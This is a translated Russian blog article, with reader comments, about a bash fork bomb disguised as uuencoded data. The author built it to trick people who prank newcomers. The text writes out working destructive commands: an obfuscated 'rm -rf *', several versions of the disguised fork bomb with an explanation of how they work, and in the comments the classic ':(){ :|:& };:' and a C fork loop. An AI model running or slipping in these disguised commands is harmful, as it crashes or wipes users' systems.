company_banner

Обман обманщиков: форк-бомба нового уровня

Автор оригинала: Vidar Holen
  • Перевод
Сразу предупреждаю: не копируйте примеры кода из этой статьи и не запускайте их в своей командной оболочке.
Есть люди, которые развлекают себя жестокими шутками над новичками, обманом подводя их к запуску разрушительных инструкций в командной оболочке.



Часто это принимает форму грубо замаскированных команд, вроде той, что показана ниже. Её запуск приведёт к выполнению в текущей директории команды rm -rf *, которая всё удалит. Вот эта команда:

$(echo cm0gLXJmICoK | base64 -d)

Много лет назад я наткнулся на людей, которые играли в такие игры, и решил их проучить.

Я не докатился ещё до того, чтобы обманом заставлять кого-то удалять его файлы. Но мне более чем хотелось помочь доморощенным хакерам самим себя подорвать на форк-бомбе.

Я так спроектировал форк-бомбу, что даже когда некто знает о том, что перед ним — деструктивная команда, он её, всё равно, запустит! Я понимаю, что и у вас может возникнуть желание это запустить, но, всё равно, привожу тут код моей бомбы:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Выглядит это всё как очередная грубо замаскированная опасная команда, но, на самом деле, это не так. Я не пытаюсь играть на знании того факта, что доверчивые новички часто запускают команды, которые им непонятны.

Вместо этого моё изобретение направлено на людей, которые знакомы с подобными фокусами, на тех, кто знает, что эта команда должна превратиться в нечто разрушительное. Здесь я спекулирую на любопытстве таких людей, и на том, что им нравятся инструменты, способные навлечь на кого-то неприятности.

Такой человек, когда ему попадётся команда, о которой мы говорили в самом начале ($(echo cm0gLXJmICoK | base64 -d)), решит исследовать её и убрать из неё конструкцию $(..) для того чтобы узнать о том, чем же именно эта команда поразит жертву. Получится у него следующее:

$ echo cm0gLXJmICoK | base64 -d
rm -rf *

А что если он сделает то же самое с командой eval $(echo «I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==» | uudecode), надеясь узреть то страшное, что случится с новичком, которому хватило глупости её запустить?

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Тот, кто запустит такую команду, внезапно осознает, что его система работает всё медленнее и медленнее. А потом, когда она будет уже практически полностью обездвижена, система уйдёт в вынужденную перезагрузку. Тогда окажется, что именно этот любитель гадостей и был всё время одним из тех новичков, над которыми издеваются такие вот «любители».

Как видите, именно команда eval (…драматическая пауза…) сыграла роль обманки.

На самом деле, и uudecode, и echo и $(..) — все эти конструкции играют свою роль в моём представлении. Они призваны отвлекать внимание, не неся никакой функциональной нагрузки.

Для того чтобы бомба взорвалась, не нужно ничего декодировать, выполнять или вычислять. Вся сила моей бомбы основана на простом раскрытии следующего аргумента в любом контексте:

"I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=="

И даже большая часть этой строки присутствует в ней только для вида, для того чтобы всё это было больше похоже на UUE-данные. Вот — та же строка, «маскировочные» символы которой заменены на знаки подчёркивания:

"____________`_____&r()(____&r{,______}&r{,_____});r`_________"

А вот — то же самое, но записанное немного более понятно:

" `r() ( r & r ); r` "

Перед нами — самая обычная форк-бомба, работающая благодаря механизму раскрытия команд.

Я создал эту ловушку не сразу, постепенно доводя её до состояния, которое меня устроило.

Вот её первый вариант:

eval $(echo 'a2Vrf3xvcml'\ZW%3t`r()(r|r);r`2'6a2VrZQo=' | base64 -d)

В целом это — то же самое, но тут имеются несколько проблем:

  • Многие довольно хорошо знакомы с кодировкой base64. Вполне очевидно то, что данные, которые тут имеются, представлены не в этой кодировке.
  • Расстановка кавычек недвусмысленно указывает на то, где именно начинается и заканчивается строка, ради которой и создавалась вся эта конструкция.
  • Форк-бомба, представленная конструкцией r()(r|r);r, прямо-таки бросается в глаза.

В кодировке base64 используются почти исключительно алфавитно-цифровые символы, например — bW9yZSBnYXJiYWdlIGhlcmUK, а UUE-данные (это — если кто-то вообще может вспомнить то, как они выглядят) представляют собой набор самых разных символов, среди которых можно хорошо спрятать встроенный в них shell-код: 1<V]M92!G87)B86=E(&AE<F4`. Я, используя соответствующие символы, разбил на части длинные бредовые строки, выглядящие как данные в кодировке base64.

Если говорить о кавычках, то я поместил в строку простые двойные кавычки, надеясь, что никто не обратит внимание на подозрительные символы, помещённые в интерполированную строку.

А вот в том, что касается кода самой бомбы, мне хотелось найти способ внести в строку больше бессмыслицы, но при этом не добавлять в неё пробелов, которые привлекают внимание. Удлинение строки r позволило бы добиться желаемого, но тогда заметным бы стало повторение символов.

Вариант улучшения первоначального кода, на котором я остановился, заключался в использовании механизма раскрытия скобок. Так, foo.{jpg,png} раскрывается в foo.jpg foo.png, а r{,foo} раскрывается в r foo. Такая конструкция позволяет вызвать r с аргументом, игнорируемым функцией.

Вторая версия моего проекта выглядела так:

eval $(echo "I<RA('1E<W3t`p&r()(rofl&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

В основе этого кода лежала идея, в соответствии с которой команда rofl будет выполняться для каждого форка, чтобы было ещё веселее, заполняя экран сообщениями rofl: command not found, но я понял, что наличие в коде некоего заметного слова может привлечь внимание жертвы и привести к дальнейшим исследованиям кода бомбы.

В итоге я пришёл к финальной версии моего кода, который оказался достаточно эффективным. Несколько человек, занимающихся «охотой» на новичков, смущённо признались в том, что попались на мою удочку.

Я, в сущности, обо всём этом забыл, но вот другие люди, очевидно, не забыли о моей форк-бомбе. Примерно через год после её создания вопрос о ней всплыл на SuperUser. Там, кстати, её код проанализировали ещё лучше, чем это сделал я. Ну а теперь вы, если тоже интересовались этим кодом, знаете о том, откуда он взялся.

Сталкивались ли вы с форк-бомбами?

RUVDS.com
VDS/VPS-хостинг. Скидка 10% по коду HABR

Комментарии 83

    +6

    Те, кто знает формат uue сразу заподозрит неладное. Так же, как и с base64.

      +27
      Только вот тех кто знает про base64 в сотни или даже тысячи раз больше тех кто знает uue.
        +7
        Поколение ФИДО не такое уж и маленькое: в конце 90-х в России еще было полно активных нод. Сомневаюсь, что разница в 3 порядка.
          +17

          Разница даже больше.

            +11
            Предлагаю перейти от обоюдных удтверждений а-ля «нутром чую» («Они не смогли ответить на вопрос Корнеева, каков физический смысл понятий „нутро“ и „чуять“, но подчеркнули, что Янус сам по себе представляет любопытнейший объект для исследования и что яблочко от яблони далеко не падает.» (с)) к реальным цифрам :) Для начала определимся с возрастом. В 1999 году в Москве еще было полно реально работающих нод, а к 2010 я о них уже не слышал. Далее волюнтаристки возьмем нижний возраст в 15 лет. Иными словами считаем, что если человек пришел в ФИДО в возрасте 15 лет и старше, то он помнит о UUEEncode / UUEDecode и даже как скачать видео в UUE на скорости 14400 через HST, а если младше или вообще не был в ФИДО, то не помнит. Соответственно тем, кому в 2000 было 15 лет, сегодня 36 лет и более, и они знают о UUE, те кто младше, не знают.
            Теперь нам нужны данные по возрасту. И они у нас есть! Не конкретно по России, но есть. Вот здесь в исследовании участника Хабра приведена возрастная статистика StackOverflow
            habr.com/ru/post/121830
            А здесь сырые данные, на которых базируется исследование (линк из статьи)
            spreadsheets.google.com/a/knego.net/spreadsheet/ccc?pli=1&hl=en_GB&key=tMbiortRI3It3qCitDBZEvA&hl=en_GB#gid=2
            90-летних айтишников в количестве 34 штук отбрасываем как нерелевантную величину. Скорее всего это те, кто не захотел указывать свой возраст. Далее просто суммируем возраст из таблицы до 36 лет и после 36 лет. Получаем:
            — количество участников младше 36 лет — 35929
            — количество участников старше 36 лет — 1185
            Разница, соответственно, в 30.31 раза. Т.е. меньше чем на два порядка. Да, много, но ни о какой разнице в сотни, а тем более тысячи и более (как вы удтверждаете) раз речь не идет.
              +9
              Разница соответственно в 30.31 раза. Т.е. меньше чем на два порядка. Да, много, но ни о какой разнице в сотни, а тем более тысячи и более (как вы удтверждаете) раз речь не идет.
              Так это при том, что вы заменили исходное «знает uue» на ваше «знает о uue» :)
              Я вот о uue в общем-то знаю, и помню, что лет 15 назад что-то ююками получал и как-то их раскодировал. Но вот какие там допустимы символы — понятия не имею. В то же время с base64 все проще: буквы + цифры — это 62 символа. Даже с учетом того, что я опять же не помню все вариации base64 и то, какие именно там символы допустимы, все равно легко можно понять, что если в строке более двух других символов (помимо буквоцифр), то это не base64.
                +2
                ак это при том, что вы заменили исходное «знает uue» на ваше «знает о uue» :)

                Я, вероятно, не совсем понятно сформулировал. Под «Знает UUE» я понимаю, что человек знает о таком способе кодировки и понимает, что под внешне непонятной абракадаброй кроется что-то осмысленное. Не конкретные детали стандарта UUE, а, что если такой человек видит абракадабру и рядом буквы UUE, то у него возникнет идея, что это что-то в UUE кодировке, и это надо раскодировать. Если же человек не имеет представления о UUE, то скрытом за абаракадаброй значении он не подозревает, и далее все будет развиваться по запланированному автором статьи сценарию. Поскольку в ФИДО UUE было основным способом передачи бинарников через сообщения, я сделал допущение, что те, кто там был, о UUE точно знают, а те кто там не был, вероятно не знают. Далее я просто посмотрел распределение тех, кто был по возрасту в ФИДО, и кого там не было. Соотвественно получилось соотношение количества тех, кто не поймет, в чем тут подвох, к количеству тех, кто поймет, в чем тут дело.
                  +8
                  человек знает о таком способе кодировки и понимает, что под внешне непонятной абракадаброй кроется что-то осмысленное. Не конкретные детали стандарта UUE
                  Так в статье ровно про это и написано :) Что если человек не знает детали стандарта, то он не увидит, что на самом деле это вовсе не uue, и ничего осмысленного (для uuencode) там нет. То есть он как раз и не поймет, в чем тут подвох, если деталей стандарта не знает :)
                    +16
                    А заодно сделали допущение, что 100% подходящих по возрасту людей были в ФИДО (я подхожу, но не был).
                      +2
                      Я почти подхожу, но про фидо только слышал, мой отец точно подходит под фидо, но он скорее всего даже не слышал. Хотя с компьютером почти с рождения общаюсь
                        +1
                        Я подхожу по возрасту, был в ФИДО, но про UUE если и знал, то к текущему времени напрочь забыл о его существовании.
                        Хотя 2:461/91.20 накрепко засело в памяти. :))
                        +4
                        Аналогично, по возрасту подхожу, но про ФИДО узнал году в 2008, а про UUE из этой статьи.
                          0
                          Я тоже ;).
                          +1

                          2:5030/36.20, 2:5030/435

                            +1

                            У меня, например, не было ни телефона, ни компьютера в те времена.
                            А когда всё это появилось (2001 год), то был уже модемный интернет.

                        0
                        90-летних айтишников в количестве 34 штук отбрасываем как нерелевантную величину. Скорее всего это те, кто не захотел указывать свой возраст.


                        У меня есть знакомый айтишник-железячник 70 с лишним лет от роду.
                        И он все еще продолжает активно работать.
                        В свое время он был молодым специалистом и у него были наставники из предыдущего поколения :)
                          0
                          Так дело как раз в том, что 70-летние, 71-летние и так далее там есть, но <10 человек каждого возраста (последний, где больше, это 61). А потом 34 90-летних и 139 91-летних.
                            0
                            Я имел в виду, что 90 -летние атишники вполне могут существовать, так как им в 50х было всего по 20...30 лет.
                              0
                              Конечно, могут. Но в той базе их должно быть 1-2, в крайнем случае 5-6. Т.е. строго говоря отбросив их всех, автор комментария неправ, но большую часть отбросить нужно.
                          +3
                          Далее просто суммируем возраст из таблицы до 36 лет и после 36 лет.
                          Возраст сам по себе не показатель.
                          Я вот во второй категории, почти 40, но о ФИДО только слышал, в живую никогда не видел.
                          И из моих знакомых ровесников лично ни от кого не слышал, чтобы он пользовался ФИДО.
                            +2
                            Соответственно тем, кому в 2000 было 15 лет, сегодня 36 лет и более, и они знают о UUE, те кто младше, не знают.

                            Мне в 2000 было 14 лет. И из моих одноклассников компьютеры были у 3 человек из 30, не говоря уж про интернет. Его тогда не было у большинства из тех, у кого были компьютеры. Так что ваш результат можно спокойно умножать на 30, не погрешив против истины. Потому что в те годы компьютер был роскошью, и чисто по возрасту считать некорректно.

                              0
                              Ну, ФИДО !== Интернет, но тут такое дело…
                              В целом, для ФИДО желательна была всё-таки линия связи (впрочем, без неё тоже можно было, но уже в формате извращений), а с телефонными линиями тогда тоже были проблемы.
                              Это сейчас за день придут Интернет подключат, а тогда годами ждали очереди на подвод телефонной линии от АТСки, и хорошо если она была не блокированная с соседями по площадке (которые тоже стояли в очереди).
                                +1
                                тогда годами ждали очереди на подвод телефонной линии от АТСки

                                Было дело, у меня родители около 10 лет стояли в очередь на телефон. Причём подключали его платно и стоило это довольно дорого (что-то порядка нескольких месячных зарплат).


                                Я к тому, что надо не только популяцию считать, но и учитывать крайне низкое проникновение компьютерных технологий в то время. Доступность сильно возросла где-то к 2005 году, но тогда уже были в моде ICQ, веб-чаты, форумы.

                                  0
                                  В целом, для ФИДО желательна была всё-таки линия связи

                                  Для интернета тогда тоже нужна была линия связи. Интернет у подавляющего большинства в около 2000 годах был диалап
                                0
                                Для начала определимся с возрастом. В 1999 году в Москве еще было полно реально работающих нод, а к 2010 я о них уже не слышал. Далее волюнтаристки возьмем нижний возраст в 15 лет


                                И они у нас есть! Не конкретно по России, но есть. Вот здесь в исследовании участника Хабра приведена возрастная статистика StackOverflow
                                habr.com/ru/post/121830


                                Вот только ФИДО в России появилось позже, чем зарубежом. И история немного отличается из-за факторов более серьезного отношения к легальности софта ранней монетизации различных сервисов (что у нас началось гораздо позже), поэтому переходили дольше и могли знать больше.
                              +3
                              Сколько там было народу в том ФИДО?

                              Я, например, прошел мимо ФИДО стороной и почти не заметил, хотя еще в 1988 собралспаял свой первый компьютер и от ИТ тематики не отходил до сего момента.

                              А вот «молодежи» 2000+ сейчас в сети и тут на хабре — уже огромные толпы.
                            –15

                            То есть наличие eval вас не смущает ?

                              +37
                              Если вы читали статью, то должны понимать, что eval тут просто в качестве наживки, а бомба заключается в наличии символов ` ` внутри строки аргумента.
                              +21
                              Бывают и такие люди которые делают
                              wget xxx | bash
                                +70
                                и они называют это devops
                                  +4
                                  Если это с проверенного сайта, то да.
                                  Или по вашему я должен параноидально проверять каждый установочный скрипт?
                                    +2
                                    ну, прочесть содержимое и/или запустить на виртуалке не помешает.
                                      +6

                                      А если не понимаешь "эту тарабарщину", а софт нужен?
                                      Что запуск в виртуалке покажет? Писюны на всю консоль что ли ?

                                        +26
                                        А чем это отличается от запуска программы без исходников? Или даже программы с исходниками, но которые вы не читали?
                                          +1

                                          Потому что программы появляются не из ниоткуда. Скажем, репозиторий дистрибутива содержит программы, проверенные мейнтейнерами.
                                          Другое дело скрипт, который непонятно кем и как написан и где выложен.

                                            +12
                                            Поэтому предыдущий комментатор и сказал — с проверенного сайта. Разницы абсолютно никакой. Плюс, спрятать в shell-скрипте что-то вредоносное тривиально, а обнаружить это — совершенно нет.
                                              +1
                                              Ну вот недавняя статья
                                              habr.com/ru/company/macloud/blog/551990
                                              Все 7 инсталлов предлагают загрузить мне некий sh и запустить его от рута.
                                              Казалось бы, проверь домен, и если ты ему доверяешь — то все ок.
                                              Проблема в том что в 6 из 7 случаев скрипт предлагалось грузить через голый http.
                                              В общем страдает тут безопасность, даже при FQDN, которому вроде как можно доверять
                                                0
                                                Всё верно. Но всегда, в любом случае, всё сведется к доверию истончику. Я бы не доверял источнику с http)
                                                +2

                                                Разница — в проверке подписей при установке из репозиториев. И это ключевое отличие.

                                                  0
                                                  Не особо. Авторство даёт очень мало гарантий. Вы не знаете как этот бинарник собирался (привет магический CI). Слово «сайт» очевидно подразумевает не домен, и его следовало бы заменить на «источник».
                                                +5

                                                Если это инструкция установки с офф сайта, разве есть разница в выполнении этого или скачке бинарника? В обоих случаях то, что происходит не совсем контролируемо.

                                            –1

                                            Уж колько раз бывали взломаны всякие «проверенные сайты™». Нет. Народ жизнь видимо не учит.

                                              +8
                                              Раз взломаны были, значит могли и бинарники подменить, и в исходники влезть, и сертификаты угнать. Так что срочно форматировать диск, перечитывать исходники и собирать все с нуля от начала и до конца, никакого доверия.
                                                +1
                                                Компилятор, очевидно надо тоже писать самому. И в процессорах тоже существуют проблемы разного характера, так что луче бы кремний самостоятельно добыть, очистить и т.д.
                                            +4

                                            А еще есть люди которые запускают (О БОЖЕ) exe скачанные с "яндекса" по ссылке "бесплатно без смс".

                                              +10

                                              Нет, ну что вы, так же ничего не получится. Правильно так:
                                              wget xxx | sudo bash

                                                0
                                                Когда у вас весь рабочий хард бекапится каждую ночь, можно что угодно запускать и как угодно. И вообще цена любой ошибки максимум пара часов.
                                                  +1
                                                  На современных линуксах systemd маунтит прошивку биоса как часть файловой системы. Из-за чего rm -rf /* сделает из вашего компьютера тыкву.
                                                0
                                                Даже зная про ююки, ' с ` можно по невнимательности и попутать. А если не попутал, то и про ююки можно не знать :)
                                                  –12

                                                  Какие это трюки? Штатные вещи ж абсолютно. Любой админ это знает.

                                                    +9

                                                    Сразу видно человека, не заставшего UUE :)

                                                      +4
                                                      Не трюки, а ююки! ;)
                                                    0
                                                    Так в том-то и дело, что там не в UUE и не в base64 дело, это все обманка.
                                                    Весь секрет в ``
                                                      0
                                                      Да понятное дело. Обманка с UUE, потому что base64 со спецсимволами — это сразу очевидная какая-то фигня, а в UUE их полно, особых подозрений с первого взгляда не вызывает. Да и ` в UUE иногда может быть как padding. Тем более, что UUE сейчас видишь редко — начинаешь вспоминать, ага, вот там такое может быть, и размышляя про uue можно и забыть про бэктики в контексте шелла. Социнжиниринг этакий :)
                                                    +1
                                                    Что-то я не понимаю, каким образом получится «проучить». Если человек сам умеет писать такие бомбы, то, думаю, ему хватит разума не запускать подобный код, какие бы там способы обертки не использовались. Ну а если это просто копипастер, то для него что первый вариант, что второй — одинаково непонятный.
                                                      +25
                                                      А эту ловушку и не нужно запускать «как есть».
                                                      Если человек пытается отреверсить код, он в первую очередь попытается модифицировать его так, чтобы выяснить, что же там такое будет eval-иться. И вот при попытке это выяснить ловушка и сработает.
                                                      +8
                                                      А можно для догоняющих среди отстающих не членов профсоюза подробно пояснить, что где чего значит? Пожалуйста.
                                                        +2
                                                        Скрипт запускает форк-бомбу. Которая медленно, но верно вешает систему.
                                                          +6
                                                          По ссылке на SuperUser подробно объясняется. В строку запрятана исполняемая подстрока `r()(r&r); r`, где определяется и запускается функция r, которая запускает саму себя и так дальше рекурсивно. Всё остальное для отвлечения внимания.
                                                            0
                                                            В строку запрятана исполняемая подстрока `r()(r&r); r`
                                                            Даже не знал, что такое бывает.
                                                          +4
                                                          Когда я учился, у нас был класс из «троек», которые работали в основном под досом. Но один преподаватель внедрил туда Линукс и проводил на нём занятия. Он очень этим гордился и подчёркивал безопасность и защищённость Линукса. Рутовских прав студентам, разумеется, не давали.

                                                          Раз говорят, что защищено — то надо испытать! Пишу программу на C: while(1) fork(); Запускаю. Компьютер замедлился и постепенно завис, потом начали появляться предупреждающие надписи от ядра. Преподаватель долго просил не нажимать ресет: «Система справится с этим». Не справилась. Минут через 15 пришлось нажать. Преподаватель очень обиделся. Не рекомендую повторять.

                                                          Потом он квоты на процессы поставил или что-то ещё сделал, что форк-бомба уже не убивала компьютер.
                                                            +2

                                                            Видимо препод открыл для себя cgroups. ;-) Хотя… Это какой год-то был?

                                                              +5
                                                              limits он настроил, которые чуть ли не старше чем сам линух.
                                                              +1
                                                              А дефолтных ограничений почему не хватало?
                                                              Так то и вправду странно что от простого пользователя можно убить систему форками.
                                                                +1
                                                                так дефолты скорее всего unlimited…
                                                                  +1
                                                                  А какой тогда в них смысл? Обычно они выставлятся в дефолте на некоторый уровень разумности который потом можно адаптировать по месту.
                                                                  Хотя если рассказ о временах 90 годов, то тогда линукс без напильника просто был нерабочий из коробки.
                                                                    0

                                                                    Гляну на ulimits на проде и потупив глазки промолчу...

                                                                      0
                                                                      Это был, скорее всего, 1998 или 1999г.
                                                                +6
                                                                В 2000м такая история пробегала: юный хакер зашёл в чат и стал хвастатья, что может завалить компьютер любого присутствующего, дайте ему только IP-адрес.

                                                                Кто-то дал ему адрес 127.0.0.1. Через пару секунд хакер ушёл в оффлайн. Снова появился, жалуется: что-то у него компьютер неожиданно сбился, но сейчас он точно взломает компьютер жертвы! И опять ушёл в оффлайн. Так повторялось несколько раз.
                                                                  +10

                                                                  Я думал, это шутка, и рассказывать эту историю как будто она была взаправду несерьёзно.

                                                                    +3
                                                                    Роскомнадзор об этой истории не знал до тех пор, пока не учинил холокост локалхоста.
                                                                    +6

                                                                    Ну, 127.0.0.1 — это совсем очевидно. Чтобы охватить более широкую аудиторию, можно использовать адрес типа 127.194.221.93. Это притупит внимание, и человек может не заметить, что первый октет = 127.

                                                                      +3
                                                                      боян с башорга?
                                                                      +4
                                                                      Команда :(){ :|:& };: из КПДВ что-нибудь значит? На случайные символы не похоже.
                                                                        +10

                                                                        Значит. Двоеточие в ней — имя функции. Можно заменить его на "r" и получится то же, что и в статье.

                                                                        +1

                                                                        А вот в zsh подсветка синтаксиса от такого спасает.

                                                                          +4

                                                                          Спасает. Очень полезная фича. Иллюстрация скриншотом, пожалуй, не помешает.


                                                                          20210430-120527
                                                                          zsh, powerlevel10k, zsh-syntax-highlighting, KDE/Konsole

                                                                          0
                                                                          Есть ещё вариант
                                                                          0%0
                                                                          Разве его не проще обфусцировать похожим образом?
                                                                            0

                                                                            Теперь надо придумать такую команду, которая бы обманывала тех, кто обманывает обманщиков

                                                                              +2
                                                                              image
                                                                              Ее дочь зовут Помогите! Меня заставляют подделывать паспорта.
                                                                                0
                                                                                Не могу понять синтаксис использованной конструкции

                                                                                r() ( commands )

                                                                                Не ясно, почему вторая пара скобок тоже круглые
                                                                                В баше синтаксис объявления функции имеет вид

                                                                                function_name () { commands }

                                                                                Т.е. вторые скобки должны быть {}
                                                                                Но тем не менее, конструкция работает.
                                                                                  0

                                                                                  Там может быть любая блочная конструкция {}, (), циклы, if


                                                                                  r () while true; do echo 7; done; # тоже валидное объявление функции
                                                                                    0
                                                                                    Спасибо, ясно

                                                                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                                Самое читаемое